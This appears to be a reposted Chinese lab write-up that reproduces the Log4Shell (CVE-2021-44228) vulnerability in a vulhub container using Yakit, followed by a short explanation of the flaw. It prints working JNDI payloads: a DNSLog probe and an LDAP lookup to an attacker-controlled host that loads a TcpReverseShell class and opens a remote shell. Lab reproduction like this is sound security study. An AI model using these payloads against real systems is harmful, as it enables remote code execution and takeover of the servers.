0


通过Yakit单兵作战工具进行log4j2 RCE漏洞复现(CVE-2021-44228)

一,靶场搭建

在家庭局域网的另一条Ubuntu24笔记本中,使用vulhub靶场搭建,首先下载vulhub,解压并进入目录/vulhub/log4j/CVE-2021-44228中,执行docker启动命令

docker compose up -d

宝塔查看靶场信息

在这里插入图片描述

接下来我们直接访问靶机ip的

8993

端口即可看到靶场

在这里插入图片描述

二,漏洞验证

首先使用 Yakit的DNSLog 平台获取一个子域名

这里获取到的子域名为:

ykbdqepxgy.dgrh3.cn

在这里插入图片描述

使用该子域名,我们构造 payload:

${jndi:ldap://ykbdqepxgy.dgrh3.cn}

在目标网站,找到注入点

在这里插入图片描述

点击Add Core后,Logging会增加error日志,从而触发漏洞。

DNSLog出现反连,漏洞验证成功,这里存在log4j2 远程代码执行漏洞

在这里插入图片描述

三,漏洞利用

在Yakit中,开启端口监听器,输入本机IP,和监听端口,这里设为4445,点击启动监听

在这里插入图片描述

便于后续连接反射shell

再打开一个反连服务器,设置本机IP,默认端口即可,设置payload,为恶意类,

TcpReverseShell

,反连主机和反连端口和刚才设置的监听器,保持一致。

在这里插入图片描述

复制上面的

ldap://192.168.0.104:4444/TqduOHDq

构造新的payload

${jndi:ldap://192.168.0.104:4444/TqduOHDq}

返回网站的注入点,重复验证的步骤,注入payload

在这里插入图片描述

提交后,点击左侧的Logging显示报错日志,注入成功

在这里插入图片描述

返回Yakit的反连服务器,可以观察到反连信息

在这里插入图片描述

返回端口监听器,连接成功

在这里插入图片描述

这里注意要把 原始模式 取消,不然传入的命令无法正常执行,可能是一个小BUG,执行ls命令成功

在这里插入图片描述

漏洞复现成功

四,原理分析

这个漏洞的核心是Java Naming and Directory Interface(JNDI)注入攻击,Log4j2在处理日志消息时,会自动解析其中的特定格式字符串,包括

${}

中的表达式。例如,

${env:VAR}

可以用来输出环境变量

VAR

的值。这种功能本身是为了方便开发人员获取动态内容。

然而,Log4j2也支持通过JNDI从远程服务器获取数据。这意味着,如果日志消息中包含类似

${jndi:ldap://example.com/a}

的字符串,Log4j2会尝试通过JNDI从

ldap://example.com/a

获取数据。

由于JNDI查找可以通过多种协议(如LDAP、RMI、DNS等)访问远程服务器,这个漏洞允许攻击者通过在日志消息中嵌入恶意的JNDI查找字符串,远程执行任意代码(RCE),从而完全控制受影响的系统。

从网上找了个图

五,影响版本

受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

此外对于java版本的要求

在这里插入图片描述

如果想要自己在本地通过java代码复现漏洞一定要注意java版本,在这里踩了几天的坑。

标签: web安全 java log4j

本文转载自: https://blog.csdn.net/m0_72037303/article/details/140907690
版权归原作者 李应然 所有, 如有侵权,请联系我们删除。

“通过Yakit单兵作战工具进行log4j2 RCE漏洞复现(CVE-2021-44228)”的评论:

还没有评论